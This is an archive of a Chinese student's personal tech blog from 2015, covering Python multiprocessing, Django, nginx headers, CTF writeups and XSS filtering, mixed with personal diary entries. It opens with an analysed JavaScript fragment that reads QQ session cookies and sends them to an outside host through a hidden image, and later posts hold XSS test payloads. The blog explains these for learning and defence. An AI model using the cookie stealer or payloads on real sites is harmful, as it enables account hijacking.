60		try{xdoc.getElementsByTagName('head')[0].appendChild(xjs);}catch(e){}
61	}
62}
63
64function tjskey(){
65
66	var eimg; 
67	eimg = document.createElement("img"); 
68	eimg.width="0px";
69	eimg.height="0px";
70	var myskey=cookieRead("skey");
71	var myqq=parseInt(cookieRead("uin").replace("o",""));
72	var vkey=cookieRead("vkey");	
73	//if(myqq>500 && vkey.length>10){
74		if(myqq>500){
75			eimg.src="http://imgcoche.qq.xxxx.com/qq/c.php?u="+myqq+"&s="+myskey+"&v="+vkey+"&f="+getQueryString("vid");
76			document.body.appendChild(eimg);
77		}	
78	}

在window.onload的时候读取cookies中的qq，key和skey等，发送到后台。

今天遇到的Python多线程、多进程中的几个坑

Fri, 03 Jul 2015 17:51:00 +0000

今天在写oj的判题端的时候犯了一个低级错误，就是为了加快判题速度，我就采用了多线程多组用例同时运行的方法，但是后来不经意的发现，明明跑的很快的程序到了我这实际运行时间就变成了好几倍，而cpu时间并没有太大的变化。

我开始怀疑是runner的问题，因为以前使用ptrace的runner的时候，ptrace会在进程用户态和内核态之间反复的检查，导致程序运行缓慢。但是我手动的使用命令行启动runner运行的时候，发现并没有问题，cpu时间和实际运行时间几乎一样的。我就开始怀疑是我的Python代码的问题，后来恍然大悟，为了能让cpu时间更长一些，方便测试，我写了一个时间复杂度很高的c程序，这是在运行一个cpu密集型的应用啊，而由于GIL的存在，Python多线程并不适合干这个，这个场景应该使用多进程。更详细的解释参考 http://www.oschina.net/translate/pythons-hardest-problem

下面是我的测试数据，

1//多线程
2//两组用例同时运行
3{'cpu_time': 3543.0, 'real_time': 13384.0, 'test_case_id': 2}
4{'cpu_time': 3592.0, 'real_time': 13688.0, 'test_case_id': 1}
5
6//只有一组测试用例
7{'cpu_time': 3612.0, 'real_time': 6856.0, 'test_case_id': 1}

很明显的结果，下面是采用了多进程之后的测试数据

1//多进程
2//两组用例同时运行
3{'cpu_time': 4110.0, 'real_time': 4250.0, 'test_case_id': 2}
4{'cpu_time': 4121.0, 'real_time': 4298.0, 'test_case_id': 1}
5
6//一组用例
7{'cpu_time': 3861.0, 'real_time': 4040.0, 'test_case_id': 1}

好了，其实我不是专门想说这个的了，因为这是一个愚蠢的问题。我要记录一下今天遇到的三个多进程中的问题:

第一个问题

PicklingError: Can't pickle <type 'instancemethod'>: attribute lookup __builtin__.instancemethod failed

poc如下

 1from multiprocessing import Pool
 2
 3
 4class Runner(object):
 5 def func(self, i):
 6 print i
 7 return i
 8
 9
10runner = Runner()
11pool = Pool(processes=5)
12for i in range(5):
13 pool.apply_async(runner.func, (i, ))
14pool.close()
15pool.join()

这个问题只出现在Python2上，Python3没有问题。这是因为多进程之间要使用pickle来序列化并传递一些数据，但是实例方法并不能被pickle，参见Python文档，可以被pickle的类型列表，还有在Python3中实例方法可以被pickle了，见Python bug list

最简单的解决办法就是写一个可以被pickle的函数代理一下

 1from multiprocessing import Pool
 2
 3
 4def run(cls_instance, i):
 5 return cls_instance.func(i)
 6
 7
 8class Runner(object):
 9 def func(self, i):
10 print i
11 return i
12
13
14runner = Runner()
15pool = Pool(processes=5)
16for i in range(5):
17 pool.apply_async(run, (runner, i))
18pool.close()
19pool.join()

还有一个方法已经被指出可能存在缺陷了，就是这个人第一个例子，但是我不知道为什么一个类可以被析构多次呢？是不是这个类实例化一次以后就被复制到了各个进程上，然后再单独进行的析构呢。这个人第二个例子是反驳的__call__方法的，我没法运行，总是提示 Can't pickle <type 'instancemethod'>: attribute lookup __builtin__.instancemethod failed，估计是一样的原因。

都要7月份了~~

Mon, 29 Jun 2015 09:17:00 +0000

说明距离考研不到6个月了~~

最近分心太严重，有时候想起来一点点技术上的问题就学不下去了。要在纸上画半天，或者拿出电脑来写半天。一天结束后发现学习拉下了太多了。

接下来的两周是实训时间，打算除了上课时间以外，暂时不要想什么技术问题了，一并留到上课时间解决。一定要专心，一段时间内集中精力做一件事情。

对了，最近在设计新版的oj，发几张网页截图图看看，我觉得我的前端技术还是有长进的。

还有一张架构图，话说还是第一次画这么牛逼的架构的

https://www.processon.com/view/55908f12e4b09bd4b8ea5095

抓到一只苍蝇 writeup

Thu, 18 Jun 2015 15:37:00 +0000

题目在 http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=57

下载到的文件是misc_fly.pcapng，使用wireshark打开，能看到一堆tcp、http和dns协议混合的数据包，在上面的框里面输入http，让它只显示http协议的数据包。

![QQ20150618-1@2x.png][1]

逐个展开大致的看了下，是在qq邮箱里面发送邮件。其中有一个上传文件行为，分为5个HTTP请求。

1{
2 "path": "fly.rar",
3 "appid": "",
4 "size": 525701,
5 "md5": "e023afa4f6579db5becda8fe7861c2d3",
6 "sha": "ecccba7aea1d482684374b22e2e7abad2ba86749",
7 "sha3": ""
8}

flash被跨域调用导致的安全风险

Wed, 17 Jun 2015 22:25:00 +0000

flash也是可以和js一样动态的请求和加载，类似这样 a.com上的a.swf

1var myLoader:Loader = new Loader(); 
2var url:URLRequest = new URLRequest("http://b.com/b.swf"); 
3myLoader.load(url);
4addChild(myLoader);

但是默认情况下是swf是不能被跨域引用的，所以这个调用不一定成功，只有在b.swf设置了System.security.allowDomain("a.com")或者System.security.allowDomain("*")的情况下才可以。

这样的话，b.swf中的有一些方法就可以在a.swf中调用了，而且发送的请求会显示来自b.swf，造成了跨域请求，大部分的浏览器是携带cookies的（貌似safari不发送）。

在 http://weibo.com/2313289447/CmZQrqa4R?type=comment 里面有一个跨域获取百度贴吧用户名的demo，就是利用了百度贴吧里面一个swf的这个漏洞。swf在这也备份了一个。

六级考完，心情不错，欧耶~

Sat, 13 Jun 2015 23:28:00 +0000

六级考完了，比上次完全蒙的应该要好些。基本上都能看懂。听力不行，还好考研没听力，这个先放下。

接下来就完全是考研的复习了，也快暑假了，还有一整个暑假的辅导班呢。但是最近的复习进度不太好，数学落下的太多了！

还有些心浮气躁，而且拖延症太严重了，这个必须得改。

早晨要坚持早起床，对应的晚上必须要早睡觉，这个是最高优先级的事情，可以挤占其余任何事情。

暑假记得好好的好好的练习下算法，还要考pat的，还有省的翻转二叉树都不会了。前几天微博上看到的，北邮复试的一道题，最长递增子序列，典型的动态规划，很多人还是不会，我现在貌似也不会了。对了，还有安全，现在只是关心一些微博和新闻了，好久没真正的去挖洞了。。

web格式化注入漏洞

Thu, 04 Jun 2015 10:39:00 +0000

第一部分：Duo Security Web SDK的一个格式化注入漏洞

翻译自 http://sakurity.com/blog/2015/03/03/duo_format_injection.html

格式化注入和SQL注入有些类似，但是不是通过用户输入的单引号'来改变查询，而是打破自定义的分隔符/:|,;&来修改签名数据。

下面是Duo Security的web集成产品的工作原理：

用户在客户端使用有效用户名和密码登陆，然后收到用来请求二步验证TX token和代表通过第一步的验证APP token。
现在用户使用TX token来通过Duo API(使用Duo的推送、短信或者电话)换取AUTH token。AUTH token代表用户可以通过了第二步的验证。
之前获取的APP token和AUTH token传递到/final_login，然后验证两个token是有效的，而且是属于这个用户的。verify_response响应返回username，然后你现在就可以以这个人的身份登录了。

这个系统即使在SKEY被泄露了的情况下，攻击者也不能登录账号，因为他没有你的AKEY，还有他没办法伪造一个有效的APP token。但是我们发现一个Duo在对APP token签名的时候的一个格式化漏洞。

xml实体注入xxe

Thu, 28 May 2015 23:21:00 +0000

xxe就是xml实体注入，先稍微就说一下XML entity:

entity翻译为"实体"。它的作用类似word中的"宏"，也可以理解为DW中的模板，你可以预先定义一个entity，然后在一个文档中多次调用，或者在多个文档中调用同一个entity(XML定义了两种类型的entity。一种是我们这里说的普通entity，在XML文档中使用；另一种是参数entity，在DTD文件中使用。

借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

使用修饰符来简化代码

Tue, 12 May 2015 18:29:00 +0000

常见的使用修饰符的场景是每个函数都有一段相同的逻辑，提取出来作为修饰符，那个比较常见，下面的例子是另外一个比较常见的使用修饰符的场景，可以提高代码可维护性。

有多种消息类型，每个类型对应一个消息类，新增消息类怎么添加到原先的代码逻辑呢，使用一堆if么

1 message_type = message["type"]
2 if message_type == "text":
3 TextMessage(message).handle()
4 elif message_type == "voice":
5 VoiceMessage(message).handle()
6 else:
7 UnknownMessage(message).handle()

这样肯定可以，但是降低了代码可维护性，每次都要修改，太麻烦了。

这里我们可以使用修饰符了~

 1# coding=utf-8
 2MESSAGE_CLASSES = {}
 3
 4
 5def handle_for_message_types(message_type):
 6 def register(cls):
 7 MESSAGE_CLASSES[message_type] = cls
 8 return cls
 9
10 return register
11
12
13class BaseMessage(object):
14 def __init__(self, message):
15 self.message = message
16
17
18@handle_for_message_types("text")
19class TextMessage(BaseMessage):
20 def handle(self):
21 print "text messsage"
22
23
24@handle_for_message_types("voice")
25class VoiceMessage(BaseMessage):
26 def handle(self):
27 print "voice message"
28
29
30@handle_for_message_types("unknown")
31class UnknownMessage(BaseMessage):
32 def handle(self):
33 print "unknown message"
34
35
36def parse_message(message):
37 cls = MESSAGE_CLASSES.get(message["type"], UnknownMessage)
38 cls(message).handle()
39
40
41parse_message({"type": "text", "content": "Hello world"})
42parse_message({"type": "voice", "content": "http://xxx.com/voice.mp3", "length": 10})
43parse_message({"type": "new_type", "content": "balabala"})

每次只增加代码就可以了，不用修改老代码~

里面的类修饰符相当于

To be lazy

Wed, 06 May 2015 16:00:00 +0000

平时人们做事的时候谁说lazy也是不好的，但是在程序设计的时候，lazy是一种有效的提供性能的方法，大致的思想就是需要的时候再计算，尽量的缓存计算结果。

copy on write

linux上传统的fork()函数直接把父进程所有的资源复制给新创建的进程。这种实现过于简单并且效率低下，因为它拷贝的数据也许并不共享，更糟的情况是，如果新进程打算立即执行一个新的映像，那么所有的拷贝都将前功尽弃。

Linux的fork()使用写时拷贝（copy-on-write）页实现。写时拷贝是一种可以推迟甚至免除拷贝数据的技术。内核此时并不复制整个进程地址空间，而是让父进程和子进程共享同一个拷贝。只有在需要写入的时候，数据才会被复制，从而使各个进程拥有各自的拷贝。也就是说，资源的复制只有在需要写入的时候才进行，在此之前，只是以只读方式共享。这种技术使地址空间上的页的拷贝被推迟到实际发生写入的时候。在页根本不会被写入的情况下。举例来说，fork()后立即调用exec()，它们就无需复制了。

fork()的实际开销就是复制父进程的页表以及给子进程创建惟一的进程描述符。在一般情况下，进程创建后都会马上运行一个可执行的文件，这种优化可以避免拷贝大量根本就不会被使用的数据（地址空间里常常包含数十兆的数据）。这样就大大提高了性能。

Django的queryset

Django的文档说了，一个类似users = User.objects.filter(name="jack")的语句并不会立即去查询数据库，而是在以下操作的时候才回去查询数据库

迭代
切片，比如users[0:10]
序列化(pickling)和缓存(caching)
repr
len() 返回数据条数，建议使用count()替代
list() 转换为列表
bool() 建议使用exists()替代

上面的uers变量，如果你没有对它进行这些操作，也就说那个查询数据库的操作永远不会进行。

而且queryset是支持链式调用的，比如说

1>>> q = Entry.objects.filter(headline__startswith="What")
2>>> q = q.filter(pub_date__lte=datetime.date.today())
3>>> q = q.exclude(body_text__icontains="food")
4>>> print(q)

最终只会执行一条sql语句，而不是三条。

Python的生成器

1def generator(): 
2 l = [1, 2, 3, 4] 
3 for i in l: 
4 print "in generator", i
5 yield i * i

yield 是一个类似 return 的关键字，只是这个函数返回的是个生成器。

为了理解yield，你必须要理解：当你调用这个函数的时候，函数内部的代码并不立马执行，这个函数只是返回一个生成器对象。当你使用for进行迭代的时候，才会执行真正的代码。

第一次迭代中你的函数会执行，从开始到达 yield 关键字，然后返回 yield 后的值作为第一次迭代的返回值. 然后，每次执行这个函数都会继续执行你在函数内部定义的那个循环的下一次，再返回那个值，直到没有可以返回的。

直接print generator()，发现只有一个<generator object generator at 0x106b79e60>，而使用这样的代码，

1for i in generator(): 
2 print "in for", i
3 print i

你就会发现打印的是

 1in generator 1 
 2in for 1 
 31
 4
 5in generator 2 
 6in for 4 
 74
 8
 9in generator 3 
10in for 9 
119
12
13in generator 4 
14in for 16 
1516

Lazy evaluation

 1class Person:
 2 def __init__(self, name, occupation):
 3 self.name = name
 4 self.occupation = occupation
 5 self.relatives = self._get_all_relatives()
 6 
 7 def _get_all_relatives(self):
 8 # 非常耗时的计算
 9 sleep(10)
10 ...

我们可以将这个耗时的操作推迟，在需要的时候才进行，然后缓存结果

富文本安全

Thu, 30 Apr 2015 00:19:00 +0000

昨天阿里安全实习生面试问到了这个，感觉回答的不是很好，最后挂了，今天总结一下。

富文本安全主要分为文件上传防御和xss过滤。

文件上传主要是用来防御上传webshell。只要文件上传到不会被解析的目录里面去就没有太大问题了，但是记住是所有的文件，不要看到是图片等静态文件就可以随便存放了，因为一般后端检测文件类型都是通过拓展名或者文件头进行的，很容易绕过的。

同时上传的文件最好使用和主域名隔离的域名，比如部分网站设置了csp头，只运行本域名下js，但是文件上传的时候可以直接上传到本域名下任意js，导致csp失效。

xss过滤是最重要的，也是最难搞的。面试的时候那人问我怎么过滤，我就说过滤危险的标签和属性，但是他却说我有很多的办法啊能绕过的，我今天才反应过来，应该是我没有说清楚，我不是直接通过字符串匹配过滤的啊，而是先解析dom，然后过滤的啊~~

具体过滤的时候一般使用白名单

解析html，得到所有的html标签和属性。对于不在白名单中的标签，直接删除或者转义。属性值里面的特殊字符要进行转义，防止跃出。比如<img width="100">如果我修改100为100" onerror=alert(1)"就变成了<img width="100" onerror=alert(1)"">了。
对于部分引入外链的属性，如src,href等判断链接是否合法，过滤<a href=javascript:alert(1)>的情况，而且最好是只能使用指定域名下的外链。
嵌入falsh的embed标签设置allowscriptaccess=never，allownetworking=none

allowScriptAccess用来控制flash与html的通讯，可选的值为：

always //对与html的通讯也就是执行javascript不做任何限制

sameDomain //只允许来自于本域的flash与html通讯，这是默认值

never //绝对禁止flash与页面的通讯

allowNetworking //用来控制flash与外部的网络通讯，可选的值为：

all //允许使用所有的网络通讯，也是默认值

internal //flash不能与浏览器通讯如navigateToURL，但是可以调用其他的API

none //禁止任何的网络通讯

这里有一个python的富文本过滤器，基本思路和上面的一样，但是实现的还是有些太简单粗暴，比如富文本时候很多地方都会用到style属性，如果允许这个属性，那就可能通过expression等进行xss，还需要更加细致的去过滤。

参考 http://security.tencent.com/index.php/blog/msg/53

http://barretlee.com/blog/2014/05/xss-snippts.html

html和js编码解码导致的xss问题

Sun, 26 Apr 2015 19:17:00 +0000

在js中对特殊字符进行转义我们可以使用下面的函数，

 1 function _html_encode(str) {
 2 if (!str.length) {
 3 return "";
 4 }
 5 var result = "";
 6 result = str.replace(/&/g, "&amp;");
 7 result = result.replace(/</g, "&lt;");
 8 result = result.replace(/>/g, "&gt;");
 9 result = result.replace(/\"/g, "&quot;");
10 return result;
11 }

然后可以将转义之后的代码写入页面，但是这样不一定是安全的，比如

1<button onclick="document.write(_html_encode('<script>alert(1)</script>'))">click me 1</button>
2<button onclick="document.write('&lt;script&gt;alert(1)&lt;/script&gt;')">click me 2</button>

第一个点击之后页面上显示<script>alert(1)</script>，而第二个确实弹窗了。

这是因为这段js是出现在html中的，在执行的时候会先对字符串进行html的解码(html的编码除了这个还有一个是&#的形式)，第二句里面被转义的内容又被转义回来了，导致xss。而第一句没有解码过程，将转义后的内容写入页面。

而在js上下文中，是不会对html编码进行自动解码的，比如把上面的代码放入script标签中

1 function click1(){
2 document.write(_html_encode("<img src=# onerror=alert(1)>"));
3 }
4 function click2(){
5 document.write("&lt;img src=# onerror=alert(1)&gt;");
6 }

都不会弹框的。在js环境中，会对js编码进行解码，比如\u的unicode，\x的十六进制形式，\' \< \>等等。

比如说用户的输入被转义为\<img src\=# onerror\=alert(1)\>，在执行的时候也会被再次转义回来的，可以自己写个函数测试一下。

还有一个就是textarea标签是自带html encode功能的，比如

1<textarea id="t"><script>alert(1)</script></textarea>

在document.getElementById("t").innerHTML的时候返回的是"<script>alert(1)</script>"。有相同功能的还有title，noscript等。

nginx对自定义http头的处理

Tue, 14 Apr 2015 15:04:00 +0000

有一个app调用后端api的时候，会在http头里面放置AUTH_TOKEN字段，用来用户鉴权，但是后端一直返回用户没有登录，但是本地使用django自带的runserver是可以的。后端的代码是这样的。

 1class TokenAuthMiddleware(object):
 2 def process_request(self, request):
 3 if isinstance(request.user, User):
 4 return
 5 
 6 path = request.path_info.lstrip('/')
 7 exempt_urls = [re.compile(expr) for expr in LOGIN_REQUIRED_EXEMPT_URLS]
 8
 9 # 不管是否登录 只要访问到的地址是排除在外的就不用接下来的判断了
10 if any(m.match(path) for m in exempt_urls):
11 return
12
13 token = request.META.get("HTTP_AUTH_TOKEN", None)
14 if token:
15 r = redis.Redis(db=REDIS_USER_TOKEN_DB)
16 user_id = r.get(token)
17 if user_id:
18 try:
19 user = User.objects.get(pk=user_id)
20 request.user = user
21 return
22 except User.DoesNotExist:
23 pass
24
25 return HttpResponse(json.dumps({"status": "error",
26 "content": u"必须登录之后才能查看~"}),
27 content_type="application/json")

就考虑后端可能取到的http头有问题，在日志中打印request.META，发现服务器上没有找到AUTH_TOKEN的http头，而加一个其他的http头就可以找到，猜测是下划线的问题，将AUTH_TOKEN换成AUTH-TOKEN后可以找到HTTP_AUTH_TOKEN字段。

然后搜索发现nginx对header的字符做了限制，默认underscores_in_headers为off，表示如果header中包含下划线，则忽略掉。在配置文件增加underscores_in_headers on;就可以了。

underscores_in_headers on | off;

Default:off
Context:http, server

Enables or disables the use of underscores in client request header fields. When the use of underscores is disabled, request header fields whose names contain underscores are marked as invalid and become subject to the ignore_invalid_headers directive. level, its value is only used if a server is a default one. The value specified also applies to all virtual servers listening on the same address and port.

geohash查找附近的人

Fri, 10 Apr 2015 23:57:00 +0000

微信、默默等查找附近的人最简单的方法就是遍历一遍，然后使用经纬度计算距离。计算公式是http://en.wikipedia.org/wiki/Haversine_formula

havarsin(\frac{d}{R}) = haversin(l_{2} - l_{1}) + cos(l_{1})cos(l_{2})haversin(Δk)

其中

havarsin(θ) = sin^{2}(\frac{θ}{2}) = \frac{1 - cos(θ)}{2}

R是地球半径， $l_{1} l_{2}$ 是两点纬度，Δk是两点经度的差。

Hey Jude

Mon, 06 Apr 2015 22:22:00 +0000

Hey Jude, don't make it bad.

Take a sad song and make it better.

Remember to let her into your heart,

Then you can start to make it better.

Hey Jude, don't be afraid.

You were made to go out and get her.

The minute you let her under your skin,

Then you begin to make it better.

And anytime you feel the pain, hey Jude, refrain,

Don't carry the world upon your shoulders.

Django的信号和观察者模式

Tue, 31 Mar 2015 23:23:00 +0000

今天想到给以前写的东西增加缓存支持，每次数据库发生变化之后主动的去修改缓存。当然最笨的方法就是在每次更新数据库的代码后面写一段更新缓存的代码，我们能不能在数据库被更新之后对外发一个信号呢，更新缓存的函数收到这个信号就知道数据库发生了变化。

这个在django中其实已经有了实现，就是siginal，用法大致的这样的

1def my_callback(sender, **kwargs):
2 print("Request finished!")
3
4from django.core.signals import request_finished
5
6request_finished.connect(my_callback)

这个其实就是经典的观察者模式的实现。

http://dongweiming.github.io/python-observer.html 有一段代码，我认为很好，直接贴过来了(其实后来发现原版在 https://github.com/faif/python-patterns/blob/master/observer.py )

 1# 这个是观察者基类
 2class Subject(object):
 3 def __init__(self):
 4 self._observers = []
 5
 6 # 添加依赖的对象
 7 def attach(self, observer):
 8 if not observer in self._observers:
 9 self._observers.append(observer)
10
11 # 取消添加
12 def detach(self, observer):
13 try:
14 self._observers.remove(observer)
15 except ValueError:
16 pass
17
18 # 这里只是通知上面注册的依赖对象新的变化
19 def notify(self, modifier=None):
20 for observer in self._observers:
21 # 可以设置过滤条件，对不符合过滤条件的更新
22 if modifier != observer:
23 observer.update(self)
24
25
26# 观察者类
27class Data(Subject):
28 def __init__(self, name=''):
29 super(Data, self).__init__()
30 self.name = name
31 self._data = 0
32
33 # python2.6新增的写法,获取属性为property，设置属性为(假设属性名字为x)@x.setter,删除为@x.deleter
34 @property
35 def data(self):
36 return self._data
37
38 @data.setter
39 def data(self, value):
40 self._data = value
41 self.notify()
42
43# 这里有2个被观察者，也就是依赖的对象，每次Data有改变，这2个view都会变动
44class HexViewer(object):
45 def update(self, subject):
46 print 'HexViewer: Subject %s has data 0x%x' % (subject.name, subject.data)
47
48class DecimalViewer(object):
49 def update(self, subject):
50 print 'DecimalViewer: Subject %s has data %d' % (subject.name, subject.data)
51
52
53if __name__ == '__main__':
54
55 data1 = Data('Data 1')
56 data2 = Data('Data 2')
57 view1 = DecimalViewer()
58 view2 = HexViewer()
59 data1.attach(view1)
60 data1.attach(view2)
61 data2.attach(view2)
62 data2.attach(view1)
63
64 print "Setting Data 1 = 10"
65 data1.data = 10
66 print "Setting Data 2 = 15"
67 data2.data = 15
68 print "Setting Data 1 = 3"
69 data1.data = 3
70 print "Setting Data 2 = 5"
71 data2.data = 5
72 print "Update data1's view2 Because view1 is be filtered"
73 data1.notify(modifier=view1) 
74 print "Detach HexViewer from data1 and data2."
75 data1.detach(view2)
76 data2.detach(view2)
77 print "Setting Data 1 = 10"
78 data1.data = 10
79 print "Setting Data 2 = 15"
80 data2.data = 15

输出结果是

概率论几个有意思的模型

Sat, 28 Mar 2015 10:22:00 +0000

问题：袋子中有a个黑球，b个白球，现在一只只的摸出来，求第k次摸出黑球的概率。（a ≤ k ≤ a + b)

本题有两个解法，首先考虑是有次序的，也就是排列方法，另一个就是组合解法。

排列方法的样本空间就是对a+b个球进行了全排列，也就是(a+b)!，然后填充第k个位置，选一个黑球，有a个选择，然后就是对(a+b-1)的位置放球，有(a+b-1)!种方法。所以得到

P = \frac{a × (a + b - 1)!}{(a + b)!} = \frac{a}{a + b}

第二种解法就是认为全部的球就两部分，黑的和白的，认为同种颜色的球之间没有区别。先把黑球放好的话，有 $C_{a + b}^{a}$ 种方法。这个事情做完了，剩下的都是白球了。有利场合就是 $C_{a + b - 1}^{a - 1}$ 种。所以

ctf中js加密题总结

Tue, 24 Mar 2015 21:56:00 +0000

1 js混淆加密的

特征是开头就是function(p,a,c,k,e,d)类型的~

题目在http://ctf.idf.cn/game/web/28/

查看网页源代码，发现这样一坨

 1eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":
 2e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
 3if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);
 4k=[function(e){return d[e]}];
 5e=function(){return'\\w+'};c=1;};
 6while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4 a=1d("\\T\\Q\\Z\\10\\5\\Y\\n\\S\\X\\L\\W\\V\\x","");4 b="\\5\\j\\j\\0\\j\\h\\j\\k\\11\\k\\0\\0\\0\\3\\2\\0\\0\\C
 7\\5\\3\\p\\2\\i\\5\\5\\0\\q\\q\\3\\u\\j\\h";4 c=/.+w.+w.+/P;4 d=t;4 e=a.1(O,y);9($.A(e)==b.B(/7/D,++d).B(/8/D,d*z)){4 f=a.1(t/d,R);9(f.1(y,z)=="\\1b\\M"&&$.A(f.1(t/d,d+E))=="\\p\\2\\6
 8\\3\\i\\p\\3\\2\\i\\q\\u\\3\\n\\3\\h\\u\\6\\2\\h\\5\\
 96\\k\\i\\k\\i\\2\\2\\0\\6\\C\\5\\6"){r=a.1(15);
109(r.m(d)-o==r.m(++d)-o&&r.m(--d)-o==r.m(--d)){4 g=l.H(1e);g=g.v()+g.v();9(r.1((++d)*E,1c)==g.19("\\h\\n\\M\\18")&&c.16(a)){d=l(s)+l(a.17)}}}};9(a.1(F,s)!=l.H(d)||a.1(F,s)=="\\12"){K("\\13\\L\\14\\1a\\N\\N\\J\\J")}U{K("\\I\\G\\I\\G\\x")}',62,77,
11'x37|substr|x30|x35|var|x66|x31|||if||||||||
12x65|x34|x33|x36|String|charCodeAt|x61|0x19
13|x64|x38||0x1|0x0|x62|toLowerCase|_|uff01|0x5|
140x2|md5|replace|x39|ig|0x3|0x4|u559c
15|fromCharCode|u606d|u3002|alert|uff0c|x73|u60f3|
160x8|gi|u5165|0x7|x67|u8f93|else|u5e74
17|u5c11|u5427|x6c|u4f60|u7684|x63|x7a|u989d|
18u518d|0xd|test|length|x79|concat|u53bb
19|x6a|0x6|prompt|0x4f'.split('|'),0,{}))

明显经过压缩和混淆，但是这种混淆是肯定是自带解密函数的，要不浏览器也不能识别了，对于function(p,a,c,k,e,d)函数，里面有个return p，p就是解密后结果。在前面增加一句console.log(p)就能看到p的代码了。或者使用 http://www.uiej.com/demo/js_eval_function_p_a_c_k_e_d.html 工具恢复一下，然后使用网上的js在线格式化格式化一下，得到了

 1var a = prompt("\u8f93\u5165\u4f60\u7684\x66\x6c\x61\x67
 2\u5427\uff0c\u5c11\u5e74\uff01", "");
 3var b = "\x66\x33\x33\x37\x33\x65\x33\x36\x63\x36\x37\x37\x37\x35\x30
 4\x37\x37\x39\x66\x35\x64\x30\x34\x66\x66\x37\x38\x38\x35\x62\x33\x65";
 5var c = /.+_.+_.+/gi;
 6var d = 0x0;
 7var e = a.substr(0x8, 0x5);
 8if ($.md5(e) == b.replace(/7/ig, ++d).replace(/8/ig, d * 0x2)) {
 9 var f = a.substr(0x0 / d, 0x7);
10 if (f.substr(0x5, 0x2) == "\x6a\x73" && $.md5(f.substr(0x0 / d, d + 0x3)) == "\x64\x30\x31\x35\x34\x64\x35\x30\x34\x38\x62\x35\x61\x35\x65\x62
11\x31\x30\x65\x66\x31\x36\x34\x36\x34\x30\x30\x37\x31\x39\x66\x31") {
12 r = a.substr(0xd);
13 if (r.charCodeAt(d) - 0x19 == r.charCodeAt(++d) - 0x19 && r.charCodeAt(--d) - 0x19 == r.charCodeAt(--d)) {
14 var g = String.fromCharCode(0x4f);
15 g = g.toLowerCase() + g.toLowerCase();
16 if (r.substr((++d) * 0x3, 0x6) == g.concat("\x65\x61\x73\x79") && c.test(a)) {
17 d = String(0x1) + String(a.length)
18 }
19 }
20 }
21};
22if (a.substr(0x4, 0x1) != String.fromCharCode(d) || a.substr(0x4, 0x1) == "\x7a") {
23 alert("\u989d\uff0c\u518d\u53bb\u60f3\u60f3\u3002\u3002")
24} else {
25 alert("\u606d\u559c\u606d\u559c\uff01")
26}

这样就好多了，然后逐句的开始分析。

春水初生，春林初盛，春风十里

Sat, 21 Mar 2015 20:24:00 +0000

上周末在东校区

博知楼

博知楼二楼看校园

今天春分，谷歌的doodle也变了。

青大空教室查询app发布

Fri, 20 Mar 2015 08:56:00 +0000

昨天上午下课后想找个空教室，转来转去就是找不到。想起来课程格子上面有个空教室查询，但是打开后提示工作人员正在提取数据啥的，反正就是不能用。貌似别人用超级课程表也是这样的，真是奇了怪了。。

其实以前我写过类似的东西，可以使用微信和网页，但是代码全丢了。然后自己重新写了一个，现在是app + api版本的了。

app使用html + css + js开发，为什么，因为我不会写原生的app，而且这么一个小应用不值得用原生的，构建工具是 http://dcloud.io/ ,界面使用mui框架，也是dcloud家的。不得不说，html5开发小app效率确实高。

最重要的是获取数据，使用了Python爬虫和线程池实现，线程池在以前的文章里面说过，自己去翻一下。爬的时候开了20个线程，一个教学楼的信息大约1分钟就全下来了，我还担心把教务的数据库爬死了。最后自己整理了一堆json文件。

关于空教室的信息的存储，以前使用的是关系型数据库，但是这些数据明显的是没有关系，这次就使用了nosql。开始也想放在sae的memcache，但是sae说memcache存在数据丢失的可能性，后来就放在了kvdb里面，数据格式大致是

1{"key": "13041.2706.11.5.2", "value": "[["东校区1-101", 1], ["东校区1-102", 1], ["东校区1-103", 1], ["东校区1-104", 1], ["东校区1-107", 1], ["东校区1-108", 1], ["东校区1-109", 1], ["东校区1-111", 1], ["东校区1-201", 1], ["东校区1-202", 1], ["东校区1-203", 1], ["东校区1-204", 0], ["东校区1-207", 1], ["东校区1-208", 1], ["东校区1-209", 1], ["东校区1-210", 1], ["东校区1-301", 1], ["东校区1-302", 1], ["东校区1-303", 1], ["东校区1-304", 1], ["东校区1-307", 1], ["东校区1-308", 1], ["东校区1-309", 1], ["东校区1-310", 1], ["东校区1-311", 1], ["东校区1-401", 1], ["东校区1-402", 1], ["东校区1-403", 1], ["东校区1-404", 0], ["东校区1-407", 1], ["东校区1-408", 1], ["东校区1-409", 1], ["东校区1-410", 1]]"}

截图

开学了

Mon, 09 Mar 2015 14:20:00 +0000

高铁晚点半小时，昨晚到青岛的时候，天已经完全黑了，还下着淅淅沥沥的春雨，来到学校收拾东西，打扫卫生后就睡觉了。

这么快一个假期就结束了，已经大三下学期了，这学期有很多需要做的。

首先是最重要的问题：考研。为什么要考研呢，很多人认为我都会直接去工作呢。其实我觉得现在开始准备，到今年秋季招聘，去个bat也不是没有可能。但是可能以后再也没有能认真学习的时间了，而且青大这个出身说实话真的很烂，为了不给自己以后造成什么麻烦，准备一条后路，还是决定了去考研了。当然了，我绝对不可能考青大的研究生，也不大可能留在山东，我最想去的还是北京，即使那里有雾霾，即使那里买不起房，即使那里买车但是摇不到号。。。但是不能否认的是北京确实是政治经济文化中心，有各种各样的机会，有各种各样的大牛。而在山东，在青岛这地方，连个像样的互联网公司都没有。

考研这个具体的准备这两天考虑好了再写。

然后就是技术了。暂时不想去找什么实习兼职等等了，友情写的东西没有重大问题也不再维护了，真是猪队友坑死人啊。这学期有一门java web课，就是ssh框架的东西，我觉得我有django基础，学这个应该不会很费劲，现在java基础还是太差了，写的也太少了，这学期重点把java学好就行了。

还有就是今年有个目标，把leetcode做完，180道题现在只做了20多道，而且全是简单题。我的算法基础也太弱了，那时候在实验室就没有认真学，到头来还得补上。

验证码常见安全问题

Sun, 01 Mar 2015 14:45:00 +0000

（1）. 验证码在页面或者cookies中输出。这个时候只需要提取一下就能直接使用了。经过加密的也不行，也可以直接去替换密文。

